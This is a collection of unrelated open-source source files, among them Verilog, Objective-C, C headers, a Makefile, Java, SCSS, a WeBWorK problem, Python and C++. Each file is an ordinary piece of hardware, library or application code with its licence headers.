SP Write __ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ __ sda \__/_6_X_5_X_4_X_3_X_2_X_1_X_0_/ W \_A_/_7_X_6_X_5_X_4_X_3_X_2_X_1_X_0_\_A_/_7_X_6_X_5_X_4_X_3_X_2_X_1_X_0_/ N \__/ ____ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ ____ scl ST \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ SP Operation: This module enables I2C control over a Wishbone bus, useful for enabling a design to operate as a peripheral to an external microcontroller or similar. The Wishbone interface are fully parametrizable, with the restriction that the bus must be divided into 2**m words of 8*2**n bits. Writing via I2C first accesses an internal address register, followed by the actual wishbone bus. The first k bytes go to the address register, where k = ceil(log2(WB_ADDR_WIDTH+log2(WB_DATA_WIDTH/WB_SELECT_WIDTH))/8) . The address pointer will automatically increment with reads and writes. For buses with word size > 8 bits, the address register is in bytes and unaligned writes will be padded with zeros. Writes to the same bus address in the same I2C transaction are coalesced and written either once a complete word is ready or when the I2C transaction terminates with a stop or repeated start. Reading via the I2C interface immediately starts reading from the Wishbone interface starting from the current value of the internal address register. Like writes, reads are also coalesced when possible. One wishbone read is performed on the first I2C read. Once that has been completey transferred out, another read will be performed on the start of the next I2C read operation. Read _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ |_|_|_|_|_|_|_|_| |_|_|_|_|_|_|_|_|_|_ ... _|_|_|_|_|_|_|_|_|_| |_|_|_|_|_|_|_|_|___|_|_|_|_|_|_|_|_|_ ... _|_|_|_|_|_|_|_|_| |_| ST Device Addr W A Address MSB A Address LSB A RS Device Addr R A Data byte 0 A Data byte N N SP Write _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ |_|_|_|_|_|_|_|_| |_|_|_|_|_|_|_|_|_|_ ... _|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_ ... _|_|_|_|_|_|_|_|_|___| ST Device Addr W A Address MSB A Address LSB A Data byte 0 A Data byte N A SP Status: busy module is communicating over the bus bus_control module has control of bus in active state bus_active bus is active, not necessarily controlled by this module Parameters: device_address address of slave device Example of interfacing with tristate pins: (this will work for any tristate bus) assign scl_i = scl_pin; assign scl_pin = scl_t ? 1'bz : scl_o; assign sda_i = sda_pin; assign sda_pin = sda_t ? 1'bz : sda_o; Equivalent code that does not use *_t connections: (we can get away with this because I2C is open-drain) assign scl_i = scl_pin; assign scl_pin = scl_o ? 1'bz : 1'b0; assign sda_i = sda_pin; assign sda_pin = sda_o ? 1'bz : 1'b0; Example of two interconnected I2C devices: assign scl_1_i = scl_1_o & scl_2_o; assign scl_2_i = scl_1_o & scl_2_o; assign sda_1_i = sda_1_o & sda_2_o; assign sda_2_i = sda_1_o & sda_2_o; Example of two I2C devices sharing the same pins: assign scl_1_i = scl_pin; assign scl_2_i = scl_pin; assign scl_pin = (scl_1_o & scl_2_o) ? 1'bz : 1'b0; assign sda_1_i = sda_pin; assign sda_2_i = sda_pin; assign sda_pin = (sda_1_o & sda_2_o) ? 1'bz : 1'b0; Notes: scl_o should not be connected directly to scl_i, only via AND logic or a tristate I/O pin. This would prevent devices from stretching the clock period. */ // for interfaces that are more than one word wide, disable address lines parameter WB_VALID_ADDR_WIDTH = WB_ADDR_WIDTH - $clog2(WB_SELECT_WIDTH); // width of data port in words (1, 2, 4, or 8) parameter WB_WORD_WIDTH = WB_SELECT_WIDTH; // size of words (8, 16, 32, or 64 bits) parameter WB_WORD_SIZE = WB_DATA_WIDTH/WB_WORD_WIDTH; parameter WORD_PART_ADDR_WIDTH = $clog2(WB_WORD_SIZE/8); parameter ADDR_WIDTH_ADJ = WB_ADDR_WIDTH+WORD_PART_ADDR_WIDTH; parameter ADDR_WORD_WIDTH = (ADDR_WIDTH_ADJ+7)/8; // bus width assertions initial begin if (WB_WORD_WIDTH * WB_WORD_SIZE != WB_DATA_WIDTH) begin $error("Error: WB data width not evenly divisble"); $finish; end if (2**$clog2(WB_WORD_WIDTH) != WB_WORD_WIDTH) begin $error("Error: WB word width must be even power of two"); $finish; end if (8*2**$clog2(WB_WORD_SIZE/8) != WB_WORD_SIZE) begin $error("Error: WB word size must be a power of two multiple of 8 bits"); $finish; end end localparam [2:0] STATE_IDLE = 3'd0, STATE_ADDRESS = 3'd1, STATE_READ_1 = 3'd2, STATE_READ_2 = 3'd3, STATE_WRITE_1 = 3'd4, STATE_WRITE_2 = 3'd5; reg [2:0] state_reg = STATE_IDLE, state_next; reg [7:0] count_reg = 8'd0, count_next; reg last_cycle_reg = 1'b0; reg [ADDR_WIDTH_ADJ-1:0] addr_reg = {ADDR_WIDTH_ADJ{1'b0}}, addr_next; reg [WB_DATA_WIDTH-1:0] data_reg = {WB_DATA_WIDTH{1'b0}}, data_next; reg wb_we_o_reg = 1'b0, wb_we_o_next; reg [WB_SELECT_WIDTH-1:0] wb_sel_o_reg = {WB_SELECT_WIDTH{1'b0}}, wb_sel_o_next; reg wb_stb_o_reg = 1'b0, wb_stb_o_next; reg wb_cyc_o_reg = 1'b0, wb_cyc_o_next; reg busy_reg = 1'b0; reg [7:0] data_in_reg = 8'd0, data_in_next; reg data_in_valid_reg = 1'b0, data_in_valid_next; wire data_in_ready; wire [7:0] data_out; wire data_out_valid; wire data_out_last; reg data_out_ready_reg = 1'b0, data_out_ready_next; assign wb_adr_o = {addr_reg[ADDR_WIDTH_ADJ-1:ADDR_WIDTH_ADJ-WB_VALID_ADDR_WIDTH], {WB_ADDR_WIDTH-WB_VALID_ADDR_WIDTH{1'b0}}}; assign wb_dat_o = data_reg; assign wb_we_o = wb_we_o_reg; assign wb_sel_o = wb_sel_o_reg; assign wb_stb_o = wb_stb_o_reg; assign wb_cyc_o = wb_cyc_o_reg; assign busy = busy_reg; always @* begin state_next = STATE_IDLE; count_next = count_reg; data_in_next = 8'd0; data_in_valid_next = 1'b0; data_out_ready_next = 1'b0; addr_next = addr_reg; data_next = data_reg; wb_we_o_next = wb_we_o_reg; wb_sel_o_next = wb_sel_o_reg; wb_stb_o_next = 1'b0; wb_cyc_o_next = 1'b0; case (state_reg) STATE_IDLE: begin // idle, wait for I2C interface wb_we_o_next = 1'b0; if (data_out_valid) begin // store address and write count_next = ADDR_WORD_WIDTH-1; state_next = STATE_ADDRESS; end else if (data_in_ready & ~data_in_valid_reg) begin // read wb_cyc_o_next = 1'b1; wb_stb_o_next = 1'b1; wb_sel_o_next = {WB_SELECT_WIDTH{1'b1}}; state_next = STATE_READ_1; end end STATE_ADDRESS: begin // store address data_out_ready_next = 1'b1; if (data_out_ready_reg & data_out_valid) begin // store pointers addr_next[8*count_reg +: 8] = data_out; count_next = count_reg - 1; if (count_reg == 0) begin // end of header // set initial word offset if (WB_ADDR_WIDTH == WB_VALID_ADDR_WIDTH && WORD_PART_ADDR_WIDTH == 0) begin count_next = 0; end else begin count_next = addr_next[ADDR_WIDTH_ADJ-WB_VALID_ADDR_WIDTH-1:0]; end wb_sel_o_next = {WB_SELECT_WIDTH{1'b0}}; data_next = {WB_DATA_WIDTH{1'b0}}; if (data_out_last) begin // end of transaction state_next = STATE_IDLE; end else begin // start writing state_next = STATE_WRITE_1; end end else begin if (data_out_last) begin // end of transaction state_next = STATE_IDLE; end else begin state_next = STATE_ADDRESS; end end end else begin state_next = STATE_ADDRESS; end end STATE_READ_1: begin // wait for ack wb_cyc_o_next = 1'b1; wb_stb_o_next = 1'b1; if (wb_ack_i || wb_err_i) begin // read cycle complete, store result data_next = wb_dat_i; addr_next = addr_reg + (1 << (WB_ADDR_WIDTH-WB_VALID_ADDR_WIDTH+WORD_PART_ADDR_WIDTH)); wb_cyc_o_next = 1'b0; wb_stb_o_next = 1'b0; wb_sel_o_next = {WB_SELECT_WIDTH{1'b0}}; state_next = STATE_READ_2; end else begin state_next = STATE_READ_1; end end STATE_READ_2: begin // send data if (data_out_valid | !bus_addressed) begin // no longer addressed or now addressed for write, return to idle state_next = STATE_IDLE; end else if (data_in_ready & ~data_in_valid_reg) begin // transfer word and update pointers data_in_next = data_reg[8*count_reg +: 8]; data_in_valid_next = 1'b1; count_next = count_reg + 1; if (count_reg == (WB_SELECT_WIDTH*WB_WORD_SIZE/8)-1) begin // end of stored data word; return to idle count_next = 0; state_next = STATE_IDLE; end else begin state_next = STATE_READ_2; end end else begin state_next = STATE_READ_2; end end STATE_WRITE_1: begin // write data data_out_ready_next = 1'b1; if (data_out_ready_reg & data_out_valid) begin // store word data_next[8*count_reg +: 8] = data_out; count_next = count_reg + 1; wb_sel_o_next[count_reg >> ((WB_WORD_SIZE/8)-1)] = 1'b1; if (count_reg == (WB_SELECT_WIDTH*WB_WORD_SIZE/8)-1 || data_out_last) begin // have full word or at end of block, start write operation count_next = 0; wb_we_o_next = 1'b1; wb_cyc_o_next = 1'b1; wb_stb_o_next = 1'b1; state_next = STATE_WRITE_2; end else begin state_next = STATE_WRITE_1; end end else begin state_next = STATE_WRITE_1; end end STATE_WRITE_2: begin // wait for ack wb_cyc_o_next = 1'b1; wb_stb_o_next = 1'b1; if (wb_ack_i || wb_err_i) begin // end of write operation data_next = {WB_DATA_WIDTH{1'b0}}; addr_next = addr_reg + (1 << (WB_ADDR_WIDTH-WB_VALID_ADDR_WIDTH+WORD_PART_ADDR_WIDTH)); wb_cyc_o_next = 1'b0; wb_stb_o_next = 1'b0; wb_sel_o_next = {WB_SELECT_WIDTH{1'b0}}; if (last_cycle_reg) begin // end of transaction state_next = STATE_IDLE; end else begin state_next = STATE_WRITE_1; end end else begin state_next = STATE_WRITE_2; end end endcase end always @(posedge clk) begin if (rst) begin state_reg <= STATE_IDLE; data_in_valid_reg <= 1'b0; data_out_ready_reg <= 1'b0; wb_stb_o_reg <= 1'b0; wb_cyc_o_reg <= 1'b0; busy_reg <= 1'b0; end else begin state_reg <= state_next; data_in_valid_reg <= data_in_valid_next; data_out_ready_reg <= data_out_ready_next; wb_stb_o_reg <= wb_stb_o_next; wb_cyc_o_reg <= wb_cyc_o_next; busy_reg <= state_next != STATE_IDLE; end count_reg <= count_next; data_in_reg <= data_in_next; if (data_out_ready_reg & data_out_valid) begin last_cycle_reg <= data_out_last; end addr_reg <= addr_next; data_reg <= data_next; wb_we_o_reg <= wb_we_o_next; wb_sel_o_reg <= wb_sel_o_next; end i2c_slave #( .FILTER_LEN(FILTER_LEN) ) i2c_slave_inst ( .clk(clk), .rst(rst), // Host interface .release_bus(1'b0), .data_in(data_in_reg), .data_in_valid(data_in_valid_reg), .data_in_ready(data_in_ready), .data_in_last(1'b0), .data_out(data_out), .data_out_valid(data_out_valid), .data_out_ready(data_out_ready_reg), .data_out_last(data_out_last), // I2C Interface .scl_i(i2c_scl_i), .scl_o(i2c_scl_o), .scl_t(i2c_scl_t), .sda_i(i2c_sda_i), .sda_o(i2c_sda_o), .sda_t(i2c_sda_t), // Status .busy(), .bus_address(), .bus_addressed(bus_addressed), .bus_active(bus_active), // Configuration .enable(enable), .device_address(device_address), .device_address_mask(7'h7f) ); endmodule
{ "pile_set_name": "Github" }
/* Copyright (c) 2016 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ // // GTLYouTubeCommentThreadListResponse.m // // ---------------------------------------------------------------------------- // NOTE: This file is generated from Google APIs Discovery Service. // Service: // YouTube Data API (youtube/v3) // Description: // Supports core YouTube features, such as uploading videos, creating and // managing playlists, searching for content, and much more. // Documentation: // https://developers.google.com/youtube/v3 // Classes: // GTLYouTubeCommentThreadListResponse (0 custom class methods, 8 custom properties) #import "GTLYouTubeCommentThreadListResponse.h" #import "GTLYouTubeCommentThread.h" #import "GTLYouTubePageInfo.h" #import "GTLYouTubeTokenPagination.h" // ---------------------------------------------------------------------------- // // GTLYouTubeCommentThreadListResponse // @implementation GTLYouTubeCommentThreadListResponse @dynamic ETag, eventId, items, kind, nextPageToken, pageInfo, tokenPagination, visitorId; + (NSDictionary *)propertyToJSONKeyMap { NSDictionary *map = @{ @"ETag" : @"etag" }; return map; } + (NSDictionary *)arrayPropertyToClassMap { NSDictionary *map = @{ @"items" : [GTLYouTubeCommentThread class] }; return map; } + (void)load { [self registerObjectClassForKind:@"youtube#commentThreadListResponse"]; } @end
{ "pile_set_name": "Github" }
/* Copyright (c) 2010 - 2018, Nordic Semiconductor ASA All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form, except as embedded into a Nordic Semiconductor ASA integrated circuit in a product or a software update for such product, must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of Nordic Semiconductor ASA nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 4. This software, with or without modification, must only be used with a Nordic Semiconductor ASA integrated circuit. 5. Any software provided in binary form under this license must not be reverse engineered, decompiled, modified and/or disassembled. THIS SOFTWARE IS PROVIDED BY NORDIC SEMICONDUCTOR ASA "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, NONINFRINGEMENT, AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL NORDIC SEMICONDUCTOR ASA OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef _NRF51_PERIPHERALS_H #define _NRF51_PERIPHERALS_H /* Clock Peripheral */ #define CLOCK_PRESENT #define CLOCK_COUNT 1 /* Power Peripheral */ #define POWER_PRESENT #define POWER_COUNT 1 #define POWER_FEATURE_RAMON_REGISTERS_PRESENT /* Software Interrupts */ #define SWI_PRESENT #define SWI_COUNT 6 /* GPIO */ #define GPIO_PRESENT #define GPIO_COUNT 1 #define P0_PIN_NUM 32 /* MPU and BPROT */ #define BPROT_PRESENT #define BPROT_REGIONS_SIZE 4096 #define BPROT_REGIONS_NUM 64 /* Radio */ #define RADIO_PRESENT #define RADIO_COUNT 1 /* Accelerated Address Resolver */ #define AAR_PRESENT #define AAR_COUNT 1 #define AAR_MAX_IRK_NUM 8 /* AES Electronic CodeBook mode encryption */ #define ECB_PRESENT #define ECB_COUNT 1 /* AES CCM mode encryption */ #define CCM_PRESENT #define CCM_COUNT 1 /* Peripheral to Peripheral Interconnect */ #define PPI_PRESENT #define PPI_COUNT 1 #define PPI_CH_NUM 16 #define PPI_FIXED_CH_NUM 12 #define PPI_GROUP_NUM 4 /* Timer/Counter */ #define TIMER_PRESENT #define TIMER_COUNT 3 #define TIMER0_MAX_SIZE 32 #define TIMER1_MAX_SIZE 16 #define TIMER2_MAX_SIZE 16 #define TIMER0_CC_NUM 4 #define TIMER1_CC_NUM 4 #define TIMER2_CC_NUM 4 /* Real Time Counter */ #define RTC_PRESENT #define RTC_COUNT 2 #define RTC0_CC_NUM 3 #define RTC1_CC_NUM 4 /* RNG */ #define RNG_PRESENT #define RNG_COUNT 1 /* Watchdog Timer */ #define WDT_PRESENT #define WDT_COUNT 1 /* Temperature Sensor */ #define TEMP_PRESENT #define TEMP_COUNT 1 /* Serial Peripheral Interface Master */ #define SPI_PRESENT #define SPI_COUNT 2 /* Serial Peripheral Interface Slave with DMA */ #define SPIS_PRESENT #define SPIS_COUNT 1 #define SPIS1_EASYDMA_MAXCNT_SIZE 8 /* Two Wire Interface Master */ #define TWI_PRESENT #define TWI_COUNT 2 /* Universal Asynchronous Receiver-Transmitter */ #define UART_PRESENT #define UART_COUNT 1 /* Quadrature Decoder */ #define QDEC_PRESENT #define QDEC_COUNT 1 /* Analog to Digital Converter */ #define ADC_PRESENT #define ADC_COUNT 1 /* GPIO Tasks and Events */ #define GPIOTE_PRESENT #define GPIOTE_COUNT 1 #define GPIOTE_CH_NUM 4 /* Low Power Comparator */ #define LPCOMP_PRESENT #define LPCOMP_COUNT 1 #define LPCOMP_REFSEL_RESOLUTION 8 #endif // _NRF51_PERIPHERALS_H
{ "pile_set_name": "Github" }
CONTAINER=composer-unused-7.3 up: docker-compose up -d down: docker-compose down install: docker exec -it $(CONTAINER) composer install update: docker exec -it $(CONTAINER) composer update check: csfix cs phpunit analyse phpunit: docker exec -it $(CONTAINER) vendor/bin/phpunit analyse: docker exec -it $(CONTAINER) vendor/bin/phpstan analyse cs: docker exec -it $(CONTAINER) vendor/bin/phpcs csfix: docker exec -it $(CONTAINER) vendor/bin/phpcbf ssh: docker exec -it $(CONTAINER) /bin/bash
{ "pile_set_name": "Github" }
// { dg-do compile } // 2007-02-04 Benjamin Kosnik <[email protected]> // // Copyright (C) 2007-2013 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the // terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version. // // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this library; see the file COPYING3. If not see // <http://www.gnu.org/licenses/>. #include <tr1/type_traits> namespace std { namespace tr1 { // [4.3] helper class: template <class T, T v> struct integral_constant; typedef integral_constant<bool, true> true_type; typedef integral_constant<bool, false> false_type; // [4.5.1] primary type categories: template <class T> struct is_void; template <class T> struct is_integral; template <class T> struct is_floating_point; template <class T> struct is_array; template <class T> struct is_pointer; template <class T> struct is_reference; template <class T> struct is_member_object_pointer; template <class T> struct is_member_function_pointer; template <class T> struct is_enum; template <class T> struct is_union; template <class T> struct is_class; template <class T> struct is_function; // [4.5.2] composite type categories: template <class T> struct is_arithmetic; template <class T> struct is_fundamental; template <class T> struct is_object; template <class T> struct is_scalar; template <class T> struct is_compound; template <class T> struct is_member_pointer; // [4.5.3] type properties: template <class T> struct is_const; template <class T> struct is_volatile; template <class T> struct is_pod; template <class T> struct is_empty; template <class T> struct is_polymorphic; template <class T> struct is_abstract; template <class T> struct has_trivial_constructor; template <class T> struct has_trivial_copy; template <class T> struct has_trivial_assign; template <class T> struct has_trivial_destructor; template <class T> struct has_nothrow_constructor; template <class T> struct has_nothrow_copy; template <class T> struct has_nothrow_assign; template <class T> struct has_virtual_destructor; template <class T> struct is_signed; template <class T> struct is_unsigned; template <class T> struct alignment_of; template <class T> struct rank; template <class T, unsigned I> struct extent; // [4.6] type relations: template <class T, class U> struct is_same; template <class Base, class Derived> struct is_base_of; template <class From, class To> struct is_convertible; // [4.7.1] const-volatile modifications: template <class T> struct remove_const; template <class T> struct remove_volatile; template <class T> struct remove_cv; template <class T> struct add_const; template <class T> struct add_volatile; template <class T> struct add_cv; // [4.7.2] reference modifications: template <class T> struct remove_reference; template <class T> struct add_reference; // [4.7.3] array modifications: template <class T> struct remove_extent; template <class T> struct remove_all_extents; // [4.7.4] pointer modifications: template <class T> struct remove_pointer; template <class T> struct add_pointer; // [4.8] other transformations: template <std::size_t Len, std::size_t Align> struct aligned_storage; } // namespace tr1 } // namespace std
{ "pile_set_name": "Github" }
package core.org.akaza.openclinica.service.crfdata; import core.org.akaza.openclinica.bean.submit.EventCRFBean; import core.org.akaza.openclinica.bean.submit.ItemDataBean; import core.org.akaza.openclinica.bean.submit.ItemFormMetadataBean; import core.org.akaza.openclinica.bean.submit.ItemGroupMetadataBean; /** * MetadataServiceInterface, our abstract interface for Dynamics * @author thickerson, Mar 3rd, 2010 * initial methods: isShown, show and hide * (can add others later to enable/disable/color/uncolor, etc * initial implementations: ItemMetadataService and GroupMetadataService * */ public interface MetadataServiceInterface { public abstract boolean hide(Object metadataBean, EventCRFBean eventCrfBean); public abstract boolean showItem(ItemFormMetadataBean metadataBean, EventCRFBean eventCrfBean, ItemDataBean itemDataBean); public abstract boolean showGroup(ItemGroupMetadataBean metadataBean, EventCRFBean eventCrfBean); }
{ "pile_set_name": "Github" }
approvers: - neuromage - prodonjs - rileyjbauer - zhenghuiwang
{ "pile_set_name": "Github" }
// stylelint-disable declaration-no-important // Common values @each $position in $positions { .position-#{$position} { position: $position !important; } } // Shorthand .fixed-top { position: fixed; top: 0; right: 0; left: 0; z-index: $zindex-fixed; } .fixed-bottom { position: fixed; right: 0; bottom: 0; left: 0; z-index: $zindex-fixed; } .sticky-top { @supports (position: sticky) { position: sticky; top: 0; z-index: $zindex-sticky; } }
{ "pile_set_name": "Github" }
##DESCRIPTION ## Rational Expressions and Functions: Multipy and Divide ## ##ENDDESCRIPTION ## DBsubject(Algebra) ## DBchapter(Rational equations and functions) ## DBsection(Simplifying) ## Institution(The College of Idaho) ## Author(RA Cruz) ## Level(2) ## TitleText1('Essentials of Intermediate Algebra') ## AuthorText1('Blitzer') ## EditionText1('1') ## Section1('6.1') ## Problem1('') ## KEYWORDS('rational expressions','rational functions') ## Date: 2007/11 DOCUMENT(); # This should be the first executable line in the problem. loadMacros( "PGstandard.pl", "MathObjects.pl", "CofIdaho_macros.pl", "PGcourse.pl" ); TEXT(beginproblem()); ###################################### # Setup # Form: a(x+b)/(x+b)(x+c) $a= random(2,5,1); $b= non_zero_random(-5,5,1); $c = non_zero_random(-7,7,1); $f = Formula("($a x + $a*$b)/(x^2 + ($b + $c)x + $b*$c)")->reduce->TeX; ###################################### # Main text BEGIN_TEXT Simplify the rational expression. \[$f\] Answer: \{ ans_rule(30) \} END_TEXT ###################################### # Answer $answer = "$a/(x+$c)"; ANS(RationalExpEvaluator($answer,"x")); $showPartialCorrectAnswers = 1; ###################################### ; ENDDOCUMENT();
{ "pile_set_name": "Github" }
tests testAddDecoration self assert: (root addDecoration: decoration1) = decoration1. self assert: (root decorations size = 1). self assert: (root decorations first = decoration1). self assert: (root addDecoration: decoration2) = decoration2. self assert: (root decorations size = 2). self assert: (root decorations first = decoration2). self assert: (root decorations last = decoration1)
{ "pile_set_name": "Github" }
import json from jackdaw.utils.encoder import UniversalEncoder from jackdaw.nest.ws.protocol.cmdtypes import NestOpCmd class NestOpChangeGraph: def __init__(self): self.cmd = NestOpCmd.CHANGEGRAPH self.token = None self.graphid = None def to_dict(self): return self.__dict__ def to_json(self): return json.dumps(self.to_dict(), cls = UniversalEncoder) @staticmethod def from_dict(d): cmd = NestOpChangeGraph() cmd.token = d['token'] cmd.graphid = d['graphid'] return cmd @staticmethod def from_json(jd): return NestOpChangeGraph.from_dict(json.loads(jd))
{ "pile_set_name": "Github" }
package mage.cards.d; import java.util.UUID; import mage.MageInt; import mage.cards.CardImpl; import mage.cards.CardSetInfo; import mage.constants.CardType; import mage.constants.SubType; /** * * @author fireshoes */ public final class DefiantKhenra extends CardImpl { public DefiantKhenra(UUID ownerId, CardSetInfo setInfo) { super(ownerId, setInfo, new CardType[]{CardType.CREATURE}, "{1}{R}"); this.subtype.add(SubType.JACKAL); this.subtype.add(SubType.WARRIOR); this.power = new MageInt(2); this.toughness = new MageInt(2); } public DefiantKhenra(final DefiantKhenra card) { super(card); } @Override public DefiantKhenra copy() { return new DefiantKhenra(this); } }
{ "pile_set_name": "Github" }
// // Copyright 2014 - 2020 (C). Alex Robenko. All rights reserved. // // This file is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. #pragma once #include "MsgListWidget.h" namespace comms_champion { class RecvMsgListWidget: public MsgListWidget { using Base = MsgListWidget; public: RecvMsgListWidget(QWidget* parentObj = nullptr); protected: virtual void msgClickedImpl(MessagePtr msg, int idx) override; virtual void msgListClearedImpl(MessagesList&& msgs) override; virtual QString msgPrefixImpl(const Message& msg) const override; virtual const QString& msgTooltipImpl() const override; virtual Qt::GlobalColor getItemColourImpl(MsgType type, bool valid) const override; virtual QString getTitleImpl() const override; virtual void saveMessagesImpl(const QString& filename) override; private: static QString getTitlePrefix(); }; } /* namespace comms_champion */
{ "pile_set_name": "Github" }
/** ****************************************************************************** * @file GPIO/IOToggle/stm32f10x_conf.h * @author MCD Application Team * @version V3.5.0 * @date 08-April-2011 * @brief Library configuration file. ****************************************************************************** * @attention * * THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS * WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE * TIME. AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY * DIRECT, INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING * FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE * CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS. * * <h2><center>&copy; COPYRIGHT 2011 STMicroelectronics</center></h2> ****************************************************************************** */ /* Define to prevent recursive inclusion -------------------------------------*/ #ifndef __STM32F10x_CONF_H #define __STM32F10x_CONF_H /* Includes ------------------------------------------------------------------*/ /* Uncomment/Comment the line below to enable/disable peripheral header file inclusion */ #include "stm32f10x_adc.h" #include "stm32f10x_bkp.h" #include "stm32f10x_can.h" #include "stm32f10x_cec.h" #include "stm32f10x_crc.h" #include "stm32f10x_dac.h" #include "stm32f10x_dbgmcu.h" #include "stm32f10x_dma.h" #include "stm32f10x_exti.h" #include "stm32f10x_flash.h" #include "stm32f10x_fsmc.h" #include "stm32f10x_gpio.h" #include "stm32f10x_i2c.h" #include "stm32f10x_iwdg.h" #include "stm32f10x_pwr.h" #include "stm32f10x_rcc.h" #include "stm32f10x_rtc.h" #include "stm32f10x_sdio.h" #include "stm32f10x_spi.h" #include "stm32f10x_tim.h" #include "stm32f10x_usart.h" #include "stm32f10x_wwdg.h" #include "misc.h" /* High level functions for NVIC and SysTick (add-on to CMSIS functions) */ /* Exported types ------------------------------------------------------------*/ /* Exported constants --------------------------------------------------------*/ /* Uncomment the line below to expanse the "assert_param" macro in the Standard Peripheral Library drivers code */ /* #define USE_FULL_ASSERT 1 */ /* Exported macro ------------------------------------------------------------*/ #ifdef USE_FULL_ASSERT /** * @brief The assert_param macro is used for function's parameters check. * @param expr: If expr is false, it calls assert_failed function which reports * the name of the source file and the source line number of the call * that failed. If expr is true, it returns no value. * @retval None */ #define assert_param(expr) ((expr) ? (void)0 : assert_failed((uint8_t *)__FILE__, __LINE__)) /* Exported functions ------------------------------------------------------- */ void assert_failed(uint8_t* file, uint32_t line); #else #define assert_param(expr) ((void)0) #endif /* USE_FULL_ASSERT */ #endif /* __STM32F10x_CONF_H */ /******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE****/
{ "pile_set_name": "Github" }
/* $OpenBSD: bf_buff.c,v 1.25 2018/05/01 13:29:09 tb Exp $ */ /* Copyright (C) 1995-1998 Eric Young ([email protected]) * All rights reserved. * * This package is an SSL implementation written * by Eric Young ([email protected]). * The implementation was written so as to conform with Netscapes SSL. * * This library is free for commercial and non-commercial use as long as * the following conditions are aheared to. The following conditions * apply to all code found in this distribution, be it the RC4, RSA, * lhash, DES, etc., code; not just the SSL code. The SSL documentation * included with this distribution is covered by the same copyright terms * except that the holder is Tim Hudson ([email protected]). * * Copyright remains Eric Young's, and as such any Copyright notices in * the code are not to be removed. * If this package is used in a product, Eric Young should be given attribution * as the author of the parts of the library used. * This can be in the form of a textual message at program startup or * in documentation (online or textual) provided with the package. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * "This product includes cryptographic software written by * Eric Young ([email protected])" * The word 'cryptographic' can be left out if the rouines from the library * being used are not cryptographic related :-). * 4. If you include any Windows specific code (or a derivative thereof) from * the apps directory (application code) you must include an acknowledgement: * "This product includes software written by Tim Hudson ([email protected])" * * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF 